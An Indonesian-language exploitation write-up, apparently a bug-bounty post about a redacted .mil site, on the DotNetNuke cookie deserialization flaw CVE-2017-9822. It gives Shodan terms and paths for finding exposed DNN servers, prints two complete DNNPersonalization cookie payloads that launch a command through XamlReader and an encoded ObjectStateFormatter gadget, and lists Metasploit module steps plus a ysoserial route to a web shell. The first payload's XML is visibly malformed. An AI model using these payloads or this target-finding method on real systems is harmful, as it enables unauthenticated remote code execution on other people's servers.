Kerentanan Deserialisasi Cookie DotNetNuke — RCE di DotNetNuke redacted.mil (CVE-2017–9822)
Identifikasi dan penemuan
File/Documentation/License.txt
jika ada, dapat menyimpan informasi tentang tahun rilis versi DotNetNuke
yang digunakan oleh server web.
DotNetNuke - http://www.dotnetnuke.com
Copyright (c) 2002-2017
by DotNetNuke Corporation
[...]
Kerentanan yang ditemukan
metasploit DotNetNuke
DotNetNuke - Arbitrary File Upload | asp/webapps/12700.txt
DotNetNuke - Cookie Deserialization Remote Code Execution (Metasploit) | windows/remote/48336.rb
DotNetNuke 07.04.00 - Administration Authentication Bypass | asp/webapps/39777.txt
DotNetNuke 4.0 - HTML Injection | asp/webapps/28615.txt
DotNetNuke 4.8.1 - Default 'ValidationKey' and 'DecriptionKey' Weak Encryption | windows/remote/31465.cs
DotNetNuke 4.8.3 - 'Default.aspx' Cross-Site Scripting | asp/webapps/31865.txt
DotNetNuke 4.9.3 - 'ErrorPage.aspx' Cross-Site Scripting | asp/webapps/33009.txt
DotNetNuke 5.5.1 - 'InstallWizard.aspx' Cross-Site Scripting | asp/webapps/35045.txt
DotNetNuke 6.1.x - Cross-Site Scripting | asp/webapps/38696.txt
DotNetNuke 9.3.2 - Cross-Site Scripting | multiple/webapps/47449.txt
DotNetNuke 9.5 - File Upload Restrictions Bypass | aspx/webapps/48125.txt
DotNetNuke 9.5 - Persistent Cross-Site Scripting | aspx/webapps/48124.txt
DotNetNuke < 9.4.0 - Cross-Site Scripting | multiple/webapps/47448.py
DotNetNuke DNNArticle Module 10.0 - SQL Injection | php/webapps/27602.txt
DotNetNuke DNNarticle Module 11 - Directory Traversal | windows/webapps/44414.txt
DotNetNuke DNNspot Store 3.0.0 - Arbitrary File Upload (Metasploit) | windows/webapps/35039.rb
DotNetNuke DreamSlider 01.01.02 - Arbitrary File Download (Metasploit) | aspx/webapps/43405.rb
SharePoint 2007/2010 and DotNetNuke < 6 - File Disclosure (via XEE) | windows/webapps/17873.txt
Eksekusi Kode Jarak Jauh Deserialisasi Cookie (CVE-2017–9822)
Kerentanan deserialisasi terdapat pada CMS DotNetNuke (DNN), versi 5.0.0 hingga 9.3.0-RC, yang dapat dimanfaatkan untuk mengeksekusi kode dari jarak jauh pada sistem yang mendasarinya tanpa autentikasi. Kerentanannya terletak pada deserialisasi cookie DNNPersonalization (format XML), yang digunakan untuk menyimpan preferensi pengguna (terautentikasi atau tidak terautentikasi). Cookie ini terutama diproses selama penanganan kesalahan 404 jika halaman hilang DNN bawaan bawaan digunakan.
Meskipun tipe objek yang akan dideserialisasi dikendalikan oleh pengguna di dalam cookie DNNPersonalisasi, kelas XmlSerializer (yang digunakan oleh CNN untuk pemrosesan) tidak dapat digunakan untuk melakukan serialisasi/deserialisasi tipe dengan anggota antarmuka. kelas ObjectDataProvider dapat digunakan dalam kombinasi dengan salah satu metode berikut:
XamlReader.Load(String)
, yang mengarah ke eksekusi kode jarak jauh.ObjectStateFormatter.Deserialize(String)
, mengarah ke kode jarak jauhDotNetNuke.Common.Utilities.FileSystemUtils.PullFile(String)
, untuk menulis file sembarang (misalnya untuk mengunggah filewebshell
jika jalur yang dapat ditulis dapat ditemukan).DotNetNuke.Common.Utilities.FileSystemUtils.WriteFile(String)
untuk pembacaan file private.
Perhatikan bahwa jenis yang dapat digunakan mungkin terbatas pada DotNetNuke.*
kelas (dan dengan demikian untuk read/write file private).
Anda bisa menggunakan shodan berikut ini untuk menemukan file yang tersedia di Internet dan mengujinya dengan CVE Deserialisasi Cookie DotNetNuke:
dnn.js
dnn.modalpopup.js
dnn.servicesframework.js
dnn.xml.js
dnncore.js
/Portals/0/
/DesktopModules/
/DNNCorp/
/DotNetNuke
/tabid/*/Default.aspx
/tabid/*/language/*/Default.aspx
Bagaimana cara mengeksploitasi deserialisasi cookie DNN?
DotNetNuke menggunakan cookie DNNPersonalisasi untuk menyimpan opsi personalisasi pengguna anonim (opsi untuk pengguna yang diautentikasi disimpan melalui halaman profil mereka). Cookie ini digunakan ketika aplikasi menyajikan halaman 404 Error khusus, yang juga merupakan pengaturan default.
(Default DotNetNuke 404 Error status page)
Anda dapat memulai dengan menganalisis kode sumber yang rentan tentang bagaimana aplikasi memproses nilai XML cookie DNNPersonalization.
Program ini mencari atribut kunci dan tipe dari simpul XML item. Berdasarkan tipe yang diekstrak, program ini membuat serializer menggunakan XmlSerializer. Karena nilai cookie XML dapat disediakan pengguna melalui header permintaan, Anda dapat mengontrol jenis XmlSerializer.
Kendala besar XmlSerializer adalah bahwa ia tidak bekerja dengan tipe yang memiliki anggota antarmuka (contoh: System.Diagnostic.Process). Sebagai gantinya, Anda dapat menggunakan ObjectDataProvider dan membuat payload menggunakan metode yang termasuk dalam salah satu kelas berikut:
- XamlReader, yang dapat menghasilkan Eksekusi Kode Jarak Jauh. Anda dapat melihat contoh muatan di bawah ini, menggunakan metode Parse untuk membuka kalkulator pada target jarak jauh.
<
<key="imhunterand.sec" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider>
<ExpandedElement/>
<MethodName>Parse</MethodName>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<ResourceDictionary xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation' xmlns:x='http://schemas.microsoft.com/winfx/2006/xaml' xmlns:System='clr-namespace:System;assembly=mscorlib' xmlns:Diag='clr-namespace:System.Diagnostics;assembly=system'>
<ObjectDataProvider x:Key='LaunchCmd' ObjectType='{x:Type Diag:Process}' MethodName='Start'>
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c calc</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</item>
</profile>
- ObjectStateFormatter, yang juga dapat menghasilkan Eksekusi Kode Jarak Jauh. Anda dapat melihat contoh muatan di bawah ini, menggunakan metode Deserialize untuk membuka kalkulator pada target jarak jauh.
<profile>
<item key="imhunterand.sec" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfObjectStateFormatterObjectDataProvider xmlns:xsd=" [http://www.w3.org/2001/XMLSchema](http://www.w3.org/2001/XMLSchema) " xmlns:xsi=" [http://www.w3.org/2001/XMLSchema-instance](http://www.w3.org/2001/XMLSchema-instance) ">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">/wEy3hgAAQAAAP////8BAAAAAAAAAAwCAAAAX1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24sIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAAAlU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5QU09iamVjdAEAAAAGQ2xpWG1sAQIAAAAGAwAAAKUXPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4NCiAgJiN4RDsNCiAgPE9iaiBSZWZJZD0iMCI+DQogICAgJiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPg0KICAgICAgJiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlI1N5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24vUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNSdW5zcGFjZUludm9rZTU8L1Q+JiN4RDsNCiAgICAgIDxUPk1pY3Jvc29mdC5NYW5hZ2VtZW50LkluZnJhc3RydWN0dXJlLkNpbUluc3RhbmNlPC9UPiYjeEQ7DQogICAgICA8VD5TeXN0ZW0uT2JqZWN0PC9UPiYjeEQ7DQogICAgPC9UTj4mI3hEOw0KICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgPE9iaiBSZWZJZD0iMSI+DQogICAgICAmI3hEOw0KICAgICAgPFROUmVmIFJlZklkPSIwIiAvPiYjeEQ7DQogICAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgICAgPFByb3BzPg0KICAgICAgICAmI3hEOw0KICAgICAgICA8TmlsIE49IlBTQ29tcHV0ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgIDxPYmogTj0idGVzdDEiIFJlZklkPSIyMCI+DQogICAgICAgICAgJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5XaW5kb3dzLk1hcmt1cC5YYW1sUmVhZGVyW10sIFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzU8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5BcnJheTwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxTIE49Ikhhc2giPg0KICAgICAgICAgICAgICAmbHQ7UmVzb3VyY2VEaWN0aW9uYXJ5DQogICAgICAgICAgICAgIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iDQogICAgICAgICAgICAgIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIg0KICAgICAgICAgICAgICB4bWxuczpTeXN0ZW09ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIg0KICAgICAgICAgICAgICB4bWxuczpEaWFnPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0Ow0KICAgICAgICAgICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJMYXVuY2hDYWxjIiBPYmplY3RUeXBlPSJ7eDpUeXBlIERpYWc6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0IiZndDsNCiAgICAgICAgICAgICAgJmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0Ow0KICAgICAgICAgICAgICAmbHQ7U3lzdGVtOlN0cmluZyZndDtjbWQmbHQ7L1N5c3RlbTpTdHJpbmcmZ3Q7DQogICAgICAgICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0Oy9jICJjYWxjIiZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAgICAgICAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXImZ3Q7DQogICAgICAgICAgICAgICZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KICAgICAgICAgICAgPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4NCiAgICAgICAgJiN4RDsNCiAgICAgICAgPE9iaiBOPSJfX0NsYXNzTWV0YWRhdGEiIFJlZklkPSIyIj4NCiAgICAgICAgICAmI3hEOw0KICAgICAgICAgIDxUTiBSZWZJZD0iMSI+DQogICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdDwvVD4mI3hEOw0KICAgICAgICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgICAgICAgIDwvVE4+JiN4RDsNCiAgICAgICAgICA8TFNUPg0KICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgIDxPYmogUmVmSWQ9IjMiPg0KICAgICAgICAgICAgICAmI3hEOw0KICAgICAgICAgICAgICA8TVM+DQogICAgICAgICAgICAgICAgJiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJDbGFzc05hbWUiPlJ1bnNwYWNlSW52b2tlNTwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik5hbWVzcGFjZSI+U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjwvUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxOaWwgTj0iU2VydmVyTmFtZSIgLz4mI3hEOw0KICAgICAgICAgICAgICAgIDxJMzIgTj0iSGFzaCI+NDYwOTI5MTkyPC9JMzI+JiN4RDsNCiAgICAgICAgICAgICAgICA8UyBOPSJNaVhtbCI+Jmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSImZ3Q7Jmx0O1BST1BFUlRZIE5BTUU9InRlc3QxIiBUWVBFPSJzdHJpbmciJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPg0KICAgICAgJiN4RDsNCiAgICAgIDxSZWYgTj0iX19DbGFzc01ldGFkYXRhIiBSZWZJZD0iMiIgLz4mI3hEOw0KICAgIDwvTVM+JiN4RDsNCiAgPC9PYmo+JiN4RDsNCjwvT2Jqcz4L</anyType>
</MethodParameters>
<ObjectInstance xsi:type="ObjectStateFormatter"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>
</item>
</profile>
- DotNetNuke.*, yang dapat mengakibatkan pengunggahan file yang tidak dibatasi, pembacaan file sembarangan, penghapusan file, dan berbagai tindakan lainnya. Anda dapat melihat contoh muatan di bawah ini, dengan menggunakan perintah
WriteFile
metode dariDotNetNuke.Common.Utilities.FileSystemUtils
kelas, untuk membaca file dari sistem target.
Aplikasi akan mengurai input XML, melakukan deserialisasi, dan mengeksekusinya. Anda tidak perlu melewati mekanisme penambalan apa pun.
Jika Anda ingin mengeksploitasi Deserialisasi Cookie DotNetNuke melalui modul Metasploit (yang tersedia melalui Exploit), Anda hanya perlu mengatur host target, port target, dan muatan tertentu, seperti berikut:
msfconsole
msf5 > use exploit/windows/http/dnncookiedeserialization_rce
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RHOSTS <TARGET>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set RPORT <TARGET PORT>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set payload <PAYLOAD>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGETURI <404 ERROR PAGE>
msf5 exploit(windows/http/dnncookiedeserialization_rce) > set TARGET 1
msf5 exploit(windows/http/dnncookiedeserialization_rce) > check
Jika Anda mendapatkan pesan “Target tampaknya rentan” setelah menjalankan pemeriksaan, Anda bisa melanjutkan dengan memasukkan perintah “exploit” di dalam Metasploit Console. Anda juga dapat membuat muatan khusus menggunakan modul DotNetNuke di dalam alat ysoserial. Untuk mengunggah shell web dan menjalankan perintah darinya, letakkan di dalam modul DotNetNuke Exploit, dan impor ke dalam Metasploit.